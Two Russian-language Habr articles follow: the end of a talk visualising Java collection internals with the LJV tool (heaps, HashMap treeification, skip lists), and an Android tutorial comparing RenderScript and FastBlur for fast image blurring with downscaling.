Давайте возьмём и случайным образом перетасуем массив значений от 0 до 15:
```
List list = IntStream.range(0, 16)
.boxed()
.collect(Collectors.toList());
Collections.shuffle(list);
visualize(new LJV().setTreatAsPrimitive(Integer.class),
list.toArray());
```
Потом положим их в PriorityQueue и визуализируем. Получается картинка, очень похожая на ArrayList или ArrayDeque:
```
LJV ljv = new LJV().setTreatAsPrimitive(Integer.class)
.setIgnoreNullValuedFields(true)
.highlightChangingArrayElements();
PriorityQueue q = new PriorityQueue<>(16);
q.addAll(list);
visualize(ljv, q);
```
Массив значений выглядит так, словно он не до конца отсортирован. Есть маленькие значения в левой части: 0, 1, 6. Но и в правой части тоже есть маленькие – например, 3, 4.
Как же это работает? Фокус здесь в том, что применяется так называемая структура [binary min-heap](https://en.wikipedia.org/wiki/Binary_heap), в которой предполагается, что каждый элемент удовлетворяет вот такому инварианту:
1. ![$q[n] \leq q[2n+1]$](https://habrastorage.org/getpro/habr/formulas/1ce/3a1/0ab/1ce3a10ab48d4190de5214395168f70e.svg)
2. ![$q[n] \leq q[2n+2]$](https://habrastorage.org/getpro/habr/formulas/ea3/272/f68/ea3272f68f771d7f37be560a6ea6c788.svg)
Нулевой элемент массива меньше следующих за ним двух, то есть 0 меньше 6 и 1. В свою очередь, 6 меньше 7 и 10, 1 меньше 5 и 2 и так далее.
Следствие – в голове у нас всегда минимальный элемент.
Другое следствие – что мы можем вынимать и вставлять в такую структуру данные за время .
```
q.poll();
```
Если мы вынули первый элемент из `PriorityQueue`, то ясно, что на его место должен встать минимальный из 6 и 1, то есть 1. А на место 1 должен был встать минимальный из тех двух, которые являются его потомками, а потом – тех двух, которые являются потомками вынутого далее элемента.
Понятно, что при этом “дырка”, т. е. блок не подлежащих перемещению элементов, каждый раз удваивается, и мы за логарифмическое время передвинем все элементы, потому что мы логарифмически малую долю элементов двигаем.
Вот мы можем вынуть пару элементов и посмотреть, как это происходит:
Можем вставить какой-то элемент. И мы видим, что всякий раз перемещается только очень маленькое подмножество элементов, и за счет этого PriorityQueue работает быстро.
```
q.add(1);
```
### `ConcurrentLinkedQueue` и `ConcurrentLinkedDeque`
Все вещи, которые я показывал до сих пор, не потокобезопасны. Если мы хотим использовать их в многопоточной программе, мы должны либо их синхронизировать полностью, либо, если мы хотим что-то более эффективное, если мы не хотим устраивать lock contention, нам нужно использовать lock-free структуры.
И такие структуры в Java есть. Первая называется `ConcurrentLinkedQueue`, а вторая – `ConcurrentLinkedDeque`. Если мы эти структуры визуализируем, то мы увидим старые добрые связные списки, односвязный и двусвязный:
То есть в данном случае идея cвязного списка как структуры данных никуда не делась, она здесь работает, позволяя реализовывать lock-free алгоритмы.
Конечно, сложность этих двух классов не в их внутренней структуре, а в алгоритмике, которая, увы, никак не визуализируется при помощи LJV. Но, во всяком случае, мы можем видеть, что идея связного списка никуда не девается.
Итак, промежуточные выводы по этой части.
1. Класс `LinkedList` не нужен Java-разработчику, сценариев использования для него нет. Зато есть многие другие, более эффективные, чем `LinkedList`, в каждом конкретном случае.
2. Не стоит недооценивать массив как основу для построения эффективных структур данных. Кажется, что массив – штука примитивная, но на самом деле можно реализовать очень мощные вещи, просто используя массив как таковой.
3. Если нужна потокобезопасность и, вдобавок, неблокирующее поведение, идея связного списка снова начинает работать уже на другом уровне, в структурах данных, более сложных алгоритмически.
Реализации интерфейса Map
-------------------------
### `HashMap`
Следующая часть посвящена мапам. В первую очередь рассмотрим `HashMap`. Наверное, я не очень ошибусь, если скажу, что троица классов `String`, `ArrayList` и `HashMap` удовлетворяют 95% потребностей Java-разработчика. И конечно, Java-профессионалы знают, как `HashMap` устроен. Давайте возьмём LJV, подготовим его определенным образом, запустим и посмотрим.
```
LJV ljv = new LJV()
.setIgnoreNullValuedFields(true)
.setTreatAsPrimitive(Integer.class)
.setTreatAsPrimitive(String.class);
Map map = new HashMap<>();
map.put("one", 1); map.put("two", 2);
map.put("three", 3); map.put("four", 4);
visualize(ljv, map);
```
Именно ради этой самой картинки, чтобы показать ее студентам, я в свое время LJV и отыскал.
У нас имеется массив bucket-ов. Мы вычисляем хэш от ключа, определяем, в какую ячейку массива положить новую пару “ключ-значение”. У нас может возникнуть ситуация коллизии, когда разные ноды попадают в один bucket, и ситуацию с коллизией можно теоретически разными способами разруливать.
Конкретно для `HashMap` разработчики Java выбрали метод chaining. То есть возникает маленький связный список: например, если вышло так, что ключ “three” попал в 13-ю ячейку, где уже лежит ключ “two”, то он “цепляется” к уже существующей записи с помощью связного списка. Во время поиска при разрешении конфликта происходит поиск перебором по списку, но это поиск короткий. Поэтому, вроде бы, всё в порядке и хэш-мапа работает быстро.
Давайте подготовим более серьезно наш LJV и попробуем устроить более длинные коллизии. Как мы знаем, хэш строки не является криптографическим, строки довольно легко подделать под задуманный хэш, поэтому достаточно просто написать класс, генерирующий очень много строчек с одинаковым хэшем.
```
LJV ljv = new LJV()
.setIgnoreNullValuedFields(true)
.setTreatAsPrimitive(Integer.class)
.setTreatAsPrimitive(String.class)
.addIgnoreField("value")
.addFieldAttribute("prev", "constraint=false,color=green")
.addFieldAttribute("next", "constraint=false,color=green")
.addObjectAttributesProvider(Main::redBlackForHM);
/*redBlackForHM: red ? "color=red" : "color=black";*/
List collisions =
new HashCodeCollision().genCollisionString(7);
Map map = new HashMap<>();
for (int i = 0; i < len; i++) {
map.put(collisions.get(i), i);
}
visualize(ljv, map);
```
Начнём вставлять коллизии в `HashMap` и посмотрим на пример, когда имеется 6 коллизий. Мы видим, что вся наша HashMap вырождается в связный список!
Этим свойством `HashMap` могут воспользоваться злоумышленники – например, если вы храните в `HashMap` список идентификаторов активных пользовательских сессий, и у вас старая версия Java, то вы очень легко, сгенерировав много идентификаторов так, чтобы у них был один и тот же хеш, превратите вашу `HashMap` в связный список с линейным поиском и устроите DoS-атаку на сервер.
Обратите внимание, что здесь количество bucket-ов вообще никак не спасает ситуацию. Проблема такой коллизии не в том, что ключи попадают в один и тот же бакет случайно: у них у всех хэш одинаковый, поэтому, сколько бакетов не добавляй, они непременно попадут в один и тот же бакет, и map превращается в связный список.
Такая беда могла произойти вплоть до Java 7, но в Java 8 ситуацию исправили. Поэтому, если мы возьмем свежую версию Java и накидаем туда много коллизий в одну и ту же hash-таблицу, мы увидим вот такую картинку:
В исходниках hashmap это по-английски называется treeification, на русский я бы это перевёл как “одеревенение”. Как только длина связного списка переходит через определенный порог, у нас происходит превращение связного списка в дерево. Заметим, что некоторые ноды покрашены красным, из чего мы делаем вывод, что это красно-черное дерево, но LJV об этом не просто так догадался: обратите внимание на то, что мы передали ему `AttributesProvider` в виде ссылки на метод `Main::redBlackForHM`, который по значению определённого поля объекта выбирает для него DOT-атрибут, в данном случае это `color=red`.
Заметим ещё, что ноды этого дерева “прошиты” зелёными ссылками вперед и назад, с помощью полей `prev` и `next`.
Что же произошло? Если коллизий становится слишком много, чтобы все-таки не делать линейный поиск по связному списку, список превращается в красно-черное дерево поиска. Вообще говоря, для дерева поиска нужно, чтобы ключи были сравнимы не только по “равно”, но и по “больше/меньше”. Таким образом, если для ключей реализован интерфейс `Comparable`, то он и будет использован для того, чтобы строить это бинарное дерево поиска. Если же Сomparable не присутствует, то Java использует identity hash code объектов для того, чтобы разрулить неоднозначность, чтобы определить, какой из объектов меньше какого.
Мы видим, что здесь очень большой overhead по памяти. Например, много места занимает “лапша” из зелёных ссылок. Она нужна для двух вещей: во-первых, для совместимости с `LinkedHashMap`, о котором я вкратце расскажу, а во-вторых, за счет этого достигается быстрый обход элементов внутри бакета, потому что мы не пользуемся обходом по дереву (где потребовалось бы рекурсивно возвращаться на родительские элементы), а можем напрямую обходить его по-прежнему вперед по ссылкам `next`. А ссылки `prev` нам нужны для того, чтобы удалять элементы из этого дерева, и у нас при этом не нарушался бы связный список (у односвязного списка, понятное дело, трудно с удалением элементов из середины). Впрочем, такая неэффективность допустима, ведь “одеревенение” – не штатный режим работы `HashMap`.
### `LinkedHashMap`
Давайте посмотрим визуализацию только что упомянутого `LinkedHashMap`. Это `HashMap`, все элементы которого прошиты ссылками before и after, то есть это двусвязный список, наложенный поверх HashMap.
Помимо случаев, когда нам надо сохранить правильный порядок перебора элементов внутри мапы, HashMap может работать как LRU-кэш (т. е. [least recently used cache](https://en.wikipedia.org/wiki/Cache_replacement_policies#Least_recently_used_(LRU))).
Если создать `LinkedHashMap` с параметром `accessOrder=true`, то тогда порядок элементов в этом связном списке будет меняться по мере извлечения элементов из мапы.
```
Map map = new LinkedHashMap<>(5, 0.8f,
/\*accessOrder:\*/ true);
map.put("one", 1); map.put("two", 2);
map.put("three", 3); map.put("four", 4);
```
```
map.get("two");
```
Такое поведение даёт возможность, например, удалять из кэша те элементы, которые мы дольше всего не читали. Те элементы, которые были прочитаны недавно, всегда будут в голове списка, их удалять не надо. Получается, что `LinkedHashMap` – это отличная заготовка для тех, кому нужен LRU кэш.
Мы сейчас рассмотрели старые классы, о которых более-менее все знают. Я думаю, что большинству Java-разработчиков устройство HashMap знакомо, и вообще, “как устроены HashMap и что изменилось после Java 8?” – это один из довольно расхожих вопросов на собеседованиях.
### `MapN`
Недавно в Java появилась еще одна вещь, которую, возможно, ещё знают не все. Пользователи Java 11 заметили удобные конструкции `List.of(..)` и `Map.of(...)` для конструирования иммутабельных мап и списков. Но если кто-то думает, что эти, довольно удобные сами по себе, методы генерируют обычный HashMap, то ничего подобного! Конструируется вот такое:
```
ljv = new LJV().setIgnoreNullValuedFields(true);
Map.of(1, 'A', 2, 'B', 3, 'C', 4, 'D'));
```
Мы видим, что это ещё одна имплементация интерфейса `Map`, которая называется `MapN`, и выглядит она довольно интересно. В основе `MapN` лежит массив `Object[]`, причем, все нечетные поля занимают ключи, а все четные занимают значения. Благодаря этому, у нас меньше перерасход памяти и отсутствует фрагментация.
Самое главное, что для разрешения коллизий у такой мапы используется не chaining-подход, а метод открытой адресации, также известный как linear probing. Если мы положим в наш `MapN` строчки с одинаковым hash значением, то она будет вести себя следующим образом:
```
Map.of("aaa", 1, "abB", 2, "bBa", 3)
```
Мы нашли нужное место в массиве, вставили строчку `"aaa"`. Потом вставляем `"abB"` с тем же хэшем, но место уже занято. Тогда мы идем вправо, пока не найдем свободное место, и вставляем туда. В следующий раз – идем еще дальше вправо, и так далее. Поиск нужного ключа происходит подобным же образом: ищем начиная с позиции, соответствующей хешу ключа, и идём вправо пока не найдём подходящий элемент или не упрёмся в пустой bucket.
У linear probing имеется ряд проблем. Во-первых, размер массива бакетов должен быть достаточно большим, чтобы занятые бакеты не “слепились” в большой блок и поиск не превратился в последовательный перебор. Во-вторых, имеется проблема с удалением. Нельзя просто взять и удалить элемент, потому что мы можем создать “дырку” из пустого элемента в массиве и нарушить поиск в linear probing, поэтому приходится что-то с этим делать. Однако особенность иммутабельной мапы как раз в том, что удалять ничего и не надо! Изменять размер её массива в случае переполнения тоже не надо. С момента выбора достаточного размера массива в самом начале больше меняться ничего не будет. Конечно же, такая мапа с точки зрения производительности работает гораздо лучше, и у нее гораздо меньше overhead по памяти. У нее нет проблемы с фрагментацией памяти, потому что все её данные лежат рядом, не то что у `HashMap`.
### `ConcurrentHashMap`
Теперь давайте посмотрим на `ConcurrentHashMap`. Этот класс нам нужен, если нам нужна такая же мапа, как `HashMap`, но только потокобезопасная. Класс `ConcurrentHashMap` имеется в стандартной библиотеке давно, и он подвергался некоторым изменениям. Поэтому, если на собеседовании спросят, как устроен `ConcurrentHashMap`, то уместно уточнить: «В какой версии?» В версиях, предшествовавших Java 8, была другая реализация, и в известной книге «[Java Concurrency in practice](https://habr.com/ru/company/piter/blog/489038/)» подробно объясняется именно старая реализация. По сути дела, `ConcurrentHashMap` раньше представлял собой разбитую на сегменты `HashMap`. По умолчанию их вообще 16, но здесь я принудительно задал их количество 8, просто чтобы лучше уместить все на один слайд:
```
Map map =
new ConcurrentHashMap(
/\*initialCapacity:\*/16 ,
/\*loadFactor:\*/0.75f,
/\*concurrencyLevel:\*/8);
map.put("one", 1);
map.put("two", 2);
map.put("three", 3);
map.put("four", 4);
map.put("five", 5);
visualize(map);
```
Сначала по хэш-коду ключа определяется то, с каким сегментом мы работаем. Далее этот сегмент мы блокируем, синхронизируемся по нему и работаем с ним, независимо от остальных.
Эта история поменялась в Java 8, поэтому глава книги «Java Concurrency in practice», посвящённая `ConcurrentHashMap`, уже устарела. Нынешний `ConcurrentHashMap` с точки зрения визуализации выглядит уже как самый обычный `НashMap`. Но естественно, у него другой алгоритм работы.
Для заполнения элемента массива бакетов используются [CAS-операции](https://en.wikipedia.org/wiki/Compare-and-swap), а дальше, в случае коллизии, синхронизация уже происходит по всей цепочке нод, привязанной к конкретному бакету. Легко видеть, что здесь гораздо меньше overhead по памяти, структурно все проще, lock contention встречается реже, стало работать лучше.
Промежуточные выводы.
1. В Java 8 произошёл существенный апгрейд `HashMap` и `ConcurrentHashMap`.
2. В Java 9 появились еще и иммутабельные хэшмапы `MapN` с открытой адресацией и улучшенным быстродействием. Поэтому `Map.of(..)` – это не просто “синтаксический сахар”, это штука, которая даёт ещё и прирост по производительности.
3. Не забываем и про `LinkedHashMap`, который может нам послужить в качестве LRU кэша.
Реализации интерфейса `NavigableMap`
------------------------------------
### `TreeMap`
`Map` как интерфейс хорош, когда нам по ключу необходимо быстро получить значение. Но часто бывает так, что в точности ключ не известен, и мы хотим найти в некотором смысле ближайшее к заданному ключу значение. Или же мы знаем диапазон ключей, и мы хотим извлечь все ключи в этом диапазоне.
Для таких задач имеется интерфейс `NavigableMap`, и стандартная непотокобезопасная имплементация `NavigableMap` в Java – это `TreeMap`, которая из себя представляет красно-черное дерево. Если мы подготовим LJV для того, чтобы он распознавал цвета нод, и визуализируем таким образом `TreeMap`, то мы получим вот такую картинку:
```
LJV ljv = new LJV()
.setTreatAsPrimitive(Integer.class)
.setTreatAsPrimitive(String.class)
.setIgnoreNullValuedFields(true)
.addIgnoreField("color")
.addObjectAttributesProvider(Main::redBlack);
//color ? black : red
Map map = new TreeMap<>();
map.put("one", 1); map.put("two", 2);
map.put("three", 3); map.put("four", 4);
map.put("five", 3); map.put("six", 4);
visualize(ljv, map);
```
Действительно, это дерево, и действительно какие-то ноды красные, какие-то – черные.
Как это работает? Алгоритм здесь уже достаточно сложный, чтобы объяснить его в деталях, нужна целая отдельная лекция. Сейчас получится только пройтись по основным идеям.
Как мы видим, в основе этой структуры лежит бинарное дерево поиска. Если это дерево хорошо сбалансировано, т. е. все его ветви примерно одинаковой длины, то для поиска нужного элемента необходимо будет, двигаясь от корня, проходить небольшое, , количество “развилок”.
В чём проблема у дерева поиска? Если не предпринимать специальных действий, то вставка элементов в эту структуру может привести к ситуации, когда большинство элементов будут лежать в очень длинных ветвях. Например, если вставлять уже отсортированные данные, то будет всегда выбираться одно и то же плечо дерева, и в итоге вместо дерева у нас получится связный список с линейным  временем поиска. (Опять связный список! Сколько раз он уже был упомянут, и это ещё не последний раз!) Значит, вставка и удаление в дереве поиска должны сопровождаться его перестроением, балансировкой.
Идея балансировки красно-чёрного дерева, как в случае с очередью с приоритетами, основана на сохранении инвариантов. Имеются определенные условия, инварианты, которые мы обязаны сохранять на каждом шаге изменения дерева. Вот они:
1. Корень дерева — чёрный.
2. `null`—«листья» в конце ветвей считаются чёрными.
3. Оба потомка каждого красного узла — чёрные.
4. Любой простой путь от узла-предка до листового узла-потомка содержит одинаковое число чёрных узлов.
Из этих условий (посмотрите внимательно на последние два) следует, что путь от корня до конца потенциально самой длинной ветки – он будет состоять из чередующихся ЧКЧК-узлов – будет не более чем вдвое длиннее пути от корня до конца потенциально самой короткой ветки, состоящей только из чёрных узлов. Таким образом, красно-чёрное дерево будет всегда – пусть не идеально, но достаточно хорошо – сбалансировано. Цена сохранения инварианта – всегда логарифмическое время.
За неимением времени я не буду рассказывать про алгоритмы, выполняющие данные инварианты, просто давайте посмотрим на визуализацию, как это происходит:
### `ConcurrentSkipListMap`
Вопрос: если мы хотим то же самое, тот же интерфейс `NavigableMap`, но thread-safe?
Как вы помните, у нас имеется эффективно работающий `ArrayDeque` на основе массива, но когда мы захотели сделать потокобезопасную реализацию `Deque`, то нам пришлось выбрать другую структуру.
В случае с `NavigableMap` решение в стандартной библиотеке тоже есть, оно называется `ConcurrentSkipListMap`. Если исходный код этого класса открыть, то можно увидеть очень много сложного кода и много комментариев. Почитав эти комментарии, я обнаружил в них ссылки на две научные статьи, одну монографию и три докторских диссертации. Это, наверное, один из самых сложных и наукоёмких классов в Java-библиотеке, но мы просто посмотрим на него снаружи, не вникая в алгоритмы того, как он работает.
Для начала вспомним, что такое skip list map в принципе.
Это, как ни удивительно, все тот же связный список, в котором мы решили облегчить себе поиск нужного элемента путём “наслоения” дополнительных связных списков. Все значения в этой структуре данных отсортированы.
Допустим, нам нужен элемент H. Сначала мы перебираем самый верхний, короткий список и понимаем, что нам нужен диапазон от D до I. Спускаемся на уровень ниже по ссылке `down`, перебираем сегмент следующего списка и сужаем интересующий нас диапазон от F до I. Наконец, спускаемся на самый нижний уровень, и нам остаётся уже совсем чуть-чуть перебрать значений. В сумме, при правильно сбалансированной структуре, поиск будет выполняться за логарифмическое время.
Понятно, что с точки зрения затрат памяти это гораздо менее эффективная структура, чем бинарное дерево. Но для того, чтобы создать lock-free структуру, это как раз то, что нужно. Именно на ней lock-free алгоритмы работают.
Еще одно замечательное ухищрение, которое здесь используется, заключается в следующем. Когда мы добавляем элементы, нам надо в какой-то момент принимать решение о том, что соответствующий сегмент списка сделался слишком длинным и пора вставлять индексы, т. е. элементы в списках верхнего уровня. Фокус в том, что мы можем принимать такое решение на основании датчиков случайных чисел. Не пытаясь подсчитать количество элементов, независимо от других потоков, которые что-то параллельно делают, просто на основании датчика случайных чисел мы можем автономно принимать решение, когда вставлять индекс. Тогда законы статистики будет работать на нас и в целом наша структура получится примерно сбалансированной: хотя “перекосы” и возможны, но просто вероятность их возникновения будет мала.
Поэтому, когда мы визуализируем `ConcurrentSkipListMap`, у нас каждый раз получаются разные картинки – иногда красивые, иногда не очень. Если вы сами будете использовать LJV для визуализации ConcurrentSkipListMap, вы увидите, что на одних и тех же данных он всякий раз по-разному будет выглядеть.
Какие выводы по этой части можно сделать?
1. Продвинутые алгоритмы творят чудеса. Действительно, в области алгоритмов и структур данных уже придумано и реализовано много эффективных решений для очень нетривиальных задач.
2. Стандартная библиотека Java к нашим услугам с хорошо реализованными классами `TreeMap` и `ConcurrentSkipListMap.`
3. Под конец нашего доклада мы вступили на почву, где простой визуализации недостаточно. Хотя мы видим, как выглядит `ConcurrentSkipListMap` с точки зрения распределения объектов памяти и их связи между ними, мы никак не понимаем той алгоритмической сложности, которая содержится в методах `ConcurrentSkipListMap`.
На этом у меня всё. Заходите на проект <https://github.com/atp-mipt/ljv>, ставьте звёздочки.
Спасибо **Джону Хеймеру**, который в свое время этот проект придумал. Я с ним связался, он сейчас не в Новой Зеландии, он профессор в Шотландии, до сих пор преподает Computer Science, и очень был рад, что эта штука до сих пор актуальна и кому-то пригождается.
Спасибо **Тагиру Валееву**, который ревьюил этот доклад и предложил для него несколько идей.
Экспериментируйте с [LJV](https://github.com/atp-mipt/ljv), присылайте свои идеи насчёт того, что ещё было бы интересно визуализировать.
Весь этот доклад [находится на GitHub](https://github.com/inponomarev/ljvtalk), презентация как код. И весь код, который здесь показан, присутствует в этом же проекте.
И в заключение – несколько слов от программного комитета конференции SnowOne:
> В этом году [SnowOne](https://snowone.ru/) пройдет в офлайне, 25-26 февраля в Новосибирске. Для тех, кто не сможет — есть онлайн-трансляция. Кроме того, будет отдельный студенческий день. Значительная часть [программы](https://snowone.ru/#speakers) уже опубликована на сайте, можно поглядеть (и там же [купить билет](https://snowone.ru/#rec377531020)). Приезжайте в Новосибирск или подключайтесь онлайн — и там, и там будет круто! | https://habr.com/ru/post/599045/ | null | ru | null |
# Пишем эффективный blur на Android
Сегодня мы попытаемся разобраться с методами размытия (blur) доступными для Android разработчиков. Прочитав определенное число статей и постов на StackOverflow, можно сказать, что мнений и способов выполнить эту задачу достаточно много. Я попытаюсь собрать все это в кучу.
### И так, зачем?
Все чаще и чаще можно заметить эффект размытия в приложениях появляющихся на просторах Google Play Store. Взять хотя бы замечательное приложение [Muzei](http://get.muzei.co) от [+RomanNurik](https://plus.google.com/+RomanNurik/) или тот же [Yahoo Weather.](https://play.google.com/store/apps/details?id=com.yahoo.mobile.client.android.weather) Глядя на эти приложения можно заметить, что при умелом обращении размытием можно добиться очень впечатляющих результатов.
На написание данной статьи меня подтолкнула серия статей [Blurring Images](http://blog.stylingandroid.com/archives/2304), поэтому первая часть статьи будет очень схожа. На самом деле я попытаюсь копнуть немного глубже.
Вот примерно то, чего мы будем пытаться добиться:
### Приступим
Для начала хочу показать с чем мы работаем. Я создал 1 activity, внутри которой расположен `ViewPager`. `ViewPager` перелистывает фрагменты. Каждый фрагмент — отдельная реализация размытия.
Вот как выглядит мой `main_layout.xml`:
```
```
И вот как выглядит layout фрагмента (fragment\_layout.xml):
```
xml version="1.0" encoding="utf-8"?
```
Как видим, ничего военного — обычная картинка на весь экран с текстом посередине. Также можно заметить дополнительный LinearLayout — я буду его использовать для отображения всякой служебной информации.
Наша цель — размыть фон текста, тем самым подчеркнув его. Вот общий принцип того, как мы это будем делать:
* Из картинки вырезаем тот участок, который находится непосредственно за TextView
* Размываем
* Получившийся результат ставим как фон для TextView
### Renderscript
Наверное, самым популярным ответом сегодня на вопрос «как быстро размыть картинку в Android» является Renderscript. Это очень мощный инструмент для работы с изображениями. Несмотря на его кажущуюся сложность, многие его части очень даже просты в использовании. К счастью, blur — это одна из подобных частей.
```
public class RSBlurFragment extends Fragment {
private ImageView image;
private TextView text;
private TextView statusText;
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {
View view = inflater.inflate(R.layout.fragment_layout, container, false);
image = (ImageView) view.findViewById(R.id.picture);
text = (TextView) view.findViewById(R.id.text);
statusText = addStatusText((ViewGroup) view.findViewById(R.id.controls));
applyBlur();
return view;
}
private void applyBlur() {
image.getViewTreeObserver().addOnPreDrawListener(new ViewTreeObserver.OnPreDrawListener() {
@Override
public boolean onPreDraw() {
image.getViewTreeObserver().removeOnPreDrawListener(this);
image.buildDrawingCache();
Bitmap bmp = image.getDrawingCache();
blur(bmp, text);
return true;
}
});
}
@TargetApi(Build.VERSION_CODES.JELLY_BEAN_MR1)
private void blur(Bitmap bkg, View view) {
long startMs = System.currentTimeMillis();
float radius = 20;
Bitmap overlay = Bitmap.createBitmap((int) (view.getMeasuredWidth()),
(int) (view.getMeasuredHeight()), Bitmap.Config.ARGB_8888);
Canvas canvas = new Canvas(overlay);
canvas.translate(-view.getLeft(), -view.getTop());
canvas.drawBitmap(bkg, 0, 0, null);
RenderScript rs = RenderScript.create(getActivity());
Allocation overlayAlloc = Allocation.createFromBitmap(
rs, overlay);
ScriptIntrinsicBlur blur = ScriptIntrinsicBlur.create(
rs, overlayAlloc.getElement());
blur.setInput(overlayAlloc);
blur.setRadius(radius);
blur.forEach(overlayAlloc);
overlayAlloc.copyTo(overlay);
view.setBackground(new BitmapDrawable(
getResources(), overlay));
rs.destroy();
statusText.setText(System.currentTimeMillis() - startMs + "ms");
}
@Override
public String toString() {
return "RenderScript";
}
private TextView addStatusText(ViewGroup container) {
TextView result = new TextView(getActivity());
result.setLayoutParams(new ViewGroup.LayoutParams(ViewGroup.LayoutParams.WRAP_CONTENT, ViewGroup.LayoutParams.WRAP_CONTENT));
result.setTextColor(0xFFFFFFFF);
container.addView(result);
return result;
}
}
```
Давайте разберемся что же здесь происходит:
* При создании фрагмента — создается layout, добавляется TextView в мою «сервисную панель»(я ее буду использовать чтобы отображать скорость работы алгоритма) и запускается размытие
* Внутри `applyBlur()` я регистрирую `onPreDrawListener`. Делаю я это потому, что на момент вызова этой функции мои UI элементы еще не готовы, поэтому и размывать-то особо нечего. Поэтому мне надо дождаться момента когда мой layout будет измерян и готов к отрисовке. Этот колбэк будет вызван непосредственно перед отрисовкой первого фрейма
* Внутри `onPreDraw()` первым делом что я обычно делаю — это меняю возвращаемое значение на true. Дело в том, что IDE генерирует `false` по умолчанию, а это значит, что отрисовка первого фрейма будет пропущена. В данном случае меня интересует первый фрейм, поэтому ставим true.
* Далее убираем наш колбек — нас больше не интересуют onPreDraw события
* Теперь мне надо вытащить Bitmap из моей ImageView. Заставляю ее создать drawing cache и забираю его
* Ну и, собственно, размытие. Рассмотрим этот процесс подробнее
Сразу хочу отметить, что данный код имеет ряд недостатков, о которых следует обязательно помнить:
* Данный код не «переразмывает» при изменениях layout'a. По-хорошему необходимо зарегистрировать onGlobalLayoutListener и перезапускать алгоритм при получении этого события
* Размытие производится в главном потоке. Не пытайтесь делать это в своих приложениях — подобного рода операции надо «выгружать» в отдельный поток, чтобы не блокировать UI. AsyncTask или что-то подобное справятся с этой задачей
Вернемся к `blur()`:
* Создается пустой Bitmap, по размеру соответствующий нашему TextView — сюда мы скопируем кусок нашего фона
* Создаем Canvas, чтобы можно было в этот Bitmap рисовать
* Смещаем систему координат на позицию, на которой находится TextView
* Рисуем кусок фона
* На этом этапе у нас есть Bitmap, который содержит кусок фона, находящийся непосредственно за TextView
* Создаем Renderscript объект
* Копируем наш Bitmap в структуру, с которой работает Renderscript
* Создаем скрипт для размытия (ScriptIntrinsicBlur)
* Выставляем параметры размытия (в моем случае радиус 20) и запускаем скрипт
* Копируем результат обратно в наш Bitmap
* Отлично, у нас есть размытый Bitmap — устанавливаем его как фон для нашего TextView
Вот что получилось:
Как видим, результат довольно неплох на вид и занял у нас **57ms**. Учитывая, что на отрисовку одного фрейма не должно уходить больше 16мс (~60fps), можно посчитать, что frame rate в нашем случае упадет до 17fps на период пока выполняется размытие. Я бы сказал, неприемлимо. Имеено поэтому необходимо сгрузить размытие в отдельный поток.
Хочу также заметить, что `ScriptIntrinsicBlur` доступен в API > 16. Безусловно, можно использовать renderscript support library, что позволит снизить необходимый уровень API.
Но, как нетрудно догадаться, на renderscript'e свет клином не сошелся, поэтому давайте рассмотрим одну из альтернатив.
### FastBlur
На самом деле размытие — ничто иное как манипуляция с пикселями, поэтому что нам мешает самим этими самыми пикселями и поманипулировать? Благо, на просторах интернета доступно довольно большое кол-во реализаций всевозможных алгоритмов размытия, поэтому наша задача сводится к тому, чтобы выбрать наиболее оптимальный.
На всезнающем StackOverflow ([а точнее тут](http://stackoverflow.com/questions/2067955/fast-bitmap-blur-for-android-sdk)), я наткнулся на неплохую реализацию алгоритма размытия.
Давайте посмотрим что из этого получилось. Весь код приводить не буду, потому что отличаться будет только функция blur():
```
private void blur(Bitmap bkg, View view) {
long startMs = System.currentTimeMillis();
float radius = 20;
Bitmap overlay = Bitmap.createBitmap((int) (view.getMeasuredWidth()),
(int) (view.getMeasuredHeight()), Bitmap.Config.ARGB_8888);
Canvas canvas = new Canvas(overlay);
canvas.translate(-view.getLeft(), -view.getTop());
canvas.drawBitmap(bkg, 0, 0, null);
overlay = FastBlur.doBlur(overlay, (int)radius, true);
view.setBackground(new BitmapDrawable(getResources(), overlay));
statusText.setText(System.currentTimeMillis() - startMs + "ms");
}
```
И вот результат:
Как видим, по качеству сложно заметить разницу с renderscript. Но вот производительность оставляет желать лучшего — **147ms**! И это далеко не самый медленный алгоритм! Боюсь даже пробовать размывать по Гауссу.
### Оптимизируем
Давайте на секунду задумаемся что из себя представляет размытие. По своей сути размытие очень тесно связано с «потерей» пикселей (здесь хотел бы попросить сильно не ругаться знатоков математики и графики, потому что описываю больше основываясь на свое понимание проблемы, чем на конкретные факты :) ). Что же еще может легко нам помочь «потерять» пиксели? Уменьшение картинки!
Что если мы уменьшим картинку сначала, размоем ее, а потом увеличим обратно?
Давайте пробовать!
И так, имеем **13ms** renderscript и **2ms** FastBlur. Довольно неплохо, учитывая, что качество размытия осталось сравнимо по качеству с предыдущими результатами.
Давайте взглянем на код. Я опишу только вариант с FastBlur, т.к. код для Renderscript будет аналогичен (ссылка на полную версию кода доступна в конце статьи):
```
private void blur(Bitmap bkg, View view) {
long startMs = System.currentTimeMillis();
float scaleFactor = 1;
float radius = 20;
if (downScale.isChecked()) {
scaleFactor = 8;
radius = 2;
}
Bitmap overlay = Bitmap.createBitmap((int) (view.getMeasuredWidth()/scaleFactor),
(int) (view.getMeasuredHeight()/scaleFactor), Bitmap.Config.ARGB_8888);
Canvas canvas = new Canvas(overlay);
canvas.translate(-view.getLeft()/scaleFactor, -view.getTop()/scaleFactor);
canvas.scale(1 / scaleFactor, 1 / scaleFactor);
Paint paint = new Paint();
paint.setFlags(Paint.FILTER_BITMAP_FLAG);
canvas.drawBitmap(bkg, 0, 0, paint);
overlay = FastBlur.doBlur(overlay, (int)radius, true);
view.setBackground(new BitmapDrawable(getResources(), overlay));
statusText.setText(System.currentTimeMillis() - startMs + "ms");
}
```
* `scaleFactor` определяет насколько сильно будем уменьшать картинку. В моем случае уменьшать будем в 8 раз. Причем учитывая что львиную долю пикселей мы потеряем при уменьшении/увеличении картинки, можно смело уменьшать радиус размытия основного алгоритма. Путем научного тыка я уменьшил до 2х
* Создаем Bitmap. В этот раз он будет меньше — в данном случае в 8 раз.
* Заметим, что при отрисовке, я выставил флаг `FILTER_BITMAP_FLAG`, что позволит применить сглаживание при изменении размера картинки
* Как и прежде, применяем размытие, но теперь ко много меньшей картинке и с меньшим радиусом, что позволяет ускорить алгоритм
* Ставим эту маленькую картинку как фон для TextView — она автоматически будет увеличена.
Довольно интересно, что Renderscript отработал медленнее, чем FastBlur. Произошло это из-за того, что мы сэкономили время на копировании Bitmap в Allocation и обратно.
Как результат, мы получили довольно шустрый метод размытия картинок на Android
Полезные ссылки:
[Исходники к данной стате на GitHub](https://github.com/paveldudka/blurring)
